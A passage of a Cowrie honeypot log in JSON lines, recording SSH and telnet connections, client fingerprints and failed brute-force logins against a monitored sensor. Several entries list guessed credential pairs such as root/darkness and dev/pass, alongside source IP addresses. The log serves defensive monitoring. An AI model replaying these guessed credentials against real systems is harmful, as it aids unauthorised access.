c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:13:16.594778Z","src_ip":"43.157.98.118","session":"65e462c0869f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":53644,"dst_ip":"10.17.0.5","dst_port":23,"session":"f4a25d1c1bf3","protocol":"telnet","message":"New connection: 137.184.155.248:53644 (10.17.0.5:23) [session: f4a25d1c1bf3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:13:17.021179Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"darkness","message":"login attempt [root/darkness] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:13:17.272175Z","src_ip":"43.157.98.118","session":"65e462c0869f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00205969810486,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:13:17.524780Z","src_ip":"107.182.235.153","session":"0f4fe92f949d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:13:18.361864Z","src_ip":"43.157.98.118","session":"65e462c0869f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.694309949874878,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:13:18.603299Z","src_ip":"103.249.100.206","session":"a28708445b38","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.075354814529419,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:13:21.096419Z","src_ip":"137.184.155.248","session":"f4a25d1c1bf3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.602535009384155,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:13:23.635154Z","src_ip":"107.182.235.153","session":"bd13bc4986e7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.332062005996704,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:13:24.828588Z","src_ip":"103.249.100.206","session":"df8cb3eea75b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.182.235.153","src_port":54128,"dst_ip":"10.17.0.5","dst_port":23,"session":"8167ea6f99b1","protocol":"telnet","message":"New connection: 107.182.235.153:54128 (10.17.0.5:23) [session: 8167ea6f99b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:13:25.198024Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.182.235.153","src_port":39626,"dst_ip":"10.17.0.5","dst_port":23,"session":"c05d9bbfbf54","protocol":"telnet","message":"New connection: 107.182.235.153:39626 (10.17.0.5:23) [session: c05d9bbfbf54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:13:26.175192Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":40184,"dst_ip":"10.17.0.5","dst_port":23,"session":"70770bb68343","protocol":"telnet","message":"New connection: 103.249.100.206:40184 (10.17.0.5:23) [session: 70770bb68343]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:13:26.403157Z"}
{"eventid":"cowrie.session.closed","duration":31.496403694152832,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:13:26.474578Z","src_ip":"103.249.100.206","session":"540c01f6f1e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":40776,"dst_ip":"10.17.0.5","dst_port":23,"session":"11f8ccc17b88","protocol":"telnet","message":"New connection: 103.249.100.206:40776 (10.17.0.5:23) [session: 11f8ccc17b88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:13:27.080477Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":45022,"dst_ip":"10.17.0.5","dst_port":22,"session":"50d08504c529","protocol":"ssh","message":"New connection: 2.57.122.238:45022 (10.17.0.5:22) [session: 50d08504c529]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:13:28.192452Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:13:28.197303Z","src_ip":"2.57.122.238","session":"50d08504c529","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:13:28.300250Z","src_ip":"2.57.122.238","session":"50d08504c529","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"1234","message":"login attempt [solv/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:13:28.604289Z","src_ip":"2.57.122.238","session":"50d08504c529","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.27.90.142","src_port":63599,"dst_ip":"159.203.135.109","dst_port":22,"session":"ce16167b087a","protocol":"ssh","message":"New connection: 178.27.90.142:63599 (159.203.135.109:22) [session: ce16167b087a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:13:29.242779Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:13:29.247973Z","src_ip":"178.27.90.142","session":"ce16167b087a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:13:29.359683Z","src_ip":"178.27.90.142","session":"ce16167b087a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:13:29.707150Z","src_ip":"2.57.122.238","session":"50d08504c529","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123345","message":"login attempt [root/123345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:13:29.810031Z","src_ip":"178.27.90.142","session":"ce16167b087a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.10436201095581,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:13:30.270769Z","src_ip":"103.249.100.206","session":"d458592c57c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:13:30.928399Z","src_ip":"178.27.90.142","session":"ce16167b087a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.952601194381714,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:13:33.823746Z","src_ip":"103.249.100.206","session":"ceadf761ed31","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.313652992248535,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:13:35.418462Z","src_ip":"103.249.100.206","session":"8155a6acc830","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.55870819091797,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:13:35.907943Z","src_ip":"103.249.100.206","session":"5c7272736505","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.38907551765442,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:13:37.874958Z","src_ip":"103.249.100.206","session":"6b3b4fd1d789","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.82297992706299,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:13:37.904087Z","src_ip":"103.249.100.206","session":"c195d2db68ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.688291788101196,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:13:38.333287Z","src_ip":"103.249.100.206","session":"6f7633ff3bd8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.41904091835022,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:13:38.659348Z","src_ip":"103.249.100.206","session":"f63fab9b5c6f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.646815299987793,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:13:39.096993Z","src_ip":"107.182.235.153","session":"27d55b5d7d4c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.899118661880493,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:13:39.600395Z","src_ip":"103.249.100.206","session":"32eda20dda9f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":54584,"dst_ip":"10.17.0.5","dst_port":23,"session":"71902ee7ce6c","protocol":"telnet","message":"New connection: 103.249.100.206:54584 (10.17.0.5:23) [session: 71902ee7ce6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:13:39.716687Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":55488,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c40f64347d4","protocol":"telnet","message":"New connection: 103.249.100.206:55488 (10.17.0.5:23) [session: 4c40f64347d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:13:40.642479Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":55522,"dst_ip":"10.17.0.5","dst_port":23,"session":"11b8b69bf8b4","protocol":"telnet","message":"New connection: 103.249.100.206:55522 (10.17.0.5:23) [session: 11b8b69bf8b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:13:40.689247Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":57752,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c17562f3eb4","protocol":"telnet","message":"New connection: 103.249.100.206:57752 (10.17.0.5:23) [session: 9c17562f3eb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:13:42.816618Z"}
{"eventid":"cowrie.session.closed","duration":31.179229259490967,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:13:44.151169Z","src_ip":"216.238.80.67","session":"0102c0237c27","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":33056,"dst_ip":"10.17.0.5","dst_port":23,"session":"226afa220b60","protocol":"telnet","message":"New connection: 103.249.100.206:33056 (10.17.0.5:23) [session: 226afa220b60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:13:46.105835Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":60676,"dst_ip":"10.17.0.5","dst_port":23,"session":"c93d26eb3596","protocol":"telnet","message":"New connection: 103.249.100.206:60676 (10.17.0.5:23) [session: c93d26eb3596]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:13:48.403944Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":37092,"dst_ip":"10.17.0.5","dst_port":23,"session":"66706cb8573a","protocol":"telnet","message":"New connection: 103.249.100.206:37092 (10.17.0.5:23) [session: 66706cb8573a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:13:52.578837Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.196.142.32","src_port":49117,"dst_ip":"159.203.135.109","dst_port":23,"session":"cb9a156c6e64","protocol":"telnet","message":"New connection: 168.196.142.32:49117 (159.203.135.109:23) [session: cb9a156c6e64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:13:54.303055Z"}
{"eventid":"cowrie.session.closed","duration":30.938133239746094,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:13:57.341130Z","src_ip":"103.249.100.206","session":"70770bb68343","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":44442,"dst_ip":"10.17.0.5","dst_port":23,"session":"81f4930267b7","protocol":"telnet","message":"New connection: 103.249.100.206:44442 (10.17.0.5:23) [session: 81f4930267b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:13:57.471109Z"}
{"eventid":"cowrie.session.closed","duration":31.31820559501648,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:13:57.493290Z","src_ip":"107.182.235.153","session":"c05d9bbfbf54","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.076008081436157,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:13:58.156358Z","src_ip":"103.249.100.206","session":"11f8ccc17b88","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":46866,"dst_ip":"10.17.0.5","dst_port":23,"session":"b6a38468e144","protocol":"telnet","message":"New connection: 103.249.100.206:46866 (10.17.0.5:23) [session: b6a38468e144]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:13:58.458882Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":47796,"dst_ip":"10.17.0.5","dst_port":23,"session":"8cee88ef28a9","protocol":"telnet","message":"New connection: 103.249.100.206:47796 (10.17.0.5:23) [session: 8cee88ef28a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:14:00.214235Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.238.80.67","src_port":58322,"dst_ip":"10.17.0.5","dst_port":23,"session":"99194161c361","protocol":"telnet","message":"New connection: 216.238.80.67:58322 (10.17.0.5:23) [session: 99194161c361]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:14:00.428923Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":53298,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d25392cf575","protocol":"telnet","message":"New connection: 103.249.100.206:53298 (10.17.0.5:23) [session: 4d25392cf575]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:14:03.757969Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":56050,"dst_ip":"10.17.0.5","dst_port":23,"session":"1be774c94632","protocol":"telnet","message":"New connection: 103.249.100.206:56050 (10.17.0.5:23) [session: 1be774c94632]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:14:06.075495Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":55770,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e7f366f3b5e","protocol":"telnet","message":"New connection: 103.249.100.206:55770 (10.17.0.5:23) [session: 7e7f366f3b5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:14:06.842310Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.157.98.118","src_port":55928,"dst_ip":"159.203.135.109","dst_port":22,"session":"20975c22f696","protocol":"ssh","message":"New connection: 43.157.98.118:55928 (159.203.135.109:22) [session: 20975c22f696]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:14:07.451043Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:14:07.456131Z","src_ip":"43.157.98.118","session":"20975c22f696","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.201645374298096,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:14:07.504578Z","src_ip":"168.196.142.32","session":"cb9a156c6e64","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:14:07.547542Z","src_ip":"43.157.98.118","session":"20975c22f696","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"pass","message":"login attempt [dev/pass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:14:08.244041Z","src_ip":"43.157.98.118","session":"20975c22f696","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:14:09.338437Z","src_ip":"43.157.98.118","session":"20975c22f696","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.11782670021057,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:14:11.834378Z","src_ip":"103.249.100.206","session":"71902ee7ce6c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":34038,"dst_ip":"10.17.0.5","dst_port":23,"session":"d88d94c1e35a","protocol":"telnet","message":"New connection: 103.249.100.206:34038 (10.17.0.5:23) [session: d88d94c1e35a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:14:11.864870Z"}
{"eventid":"cowrie.session.closed","duration":31.265296936035156,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:14:11.954434Z","src_ip":"103.249.100.206","session":"11b8b69bf8b4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.40140390396118,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:14:12.043751Z","src_ip":"103.249.100.206","session":"4c40f64347d4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"102.211.152.138","src_port":48146,"dst_ip":"159.203.135.109","dst_port":22,"session":"36213843429e","protocol":"ssh","message":"New connection: 102.211.152.138:48146 (159.203.135.109:22) [session: 36213843429e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:14:12.481261Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:14:12.486815Z","src_ip":"102.211.152.138","session":"36213843429e","protocol":"ssh"}
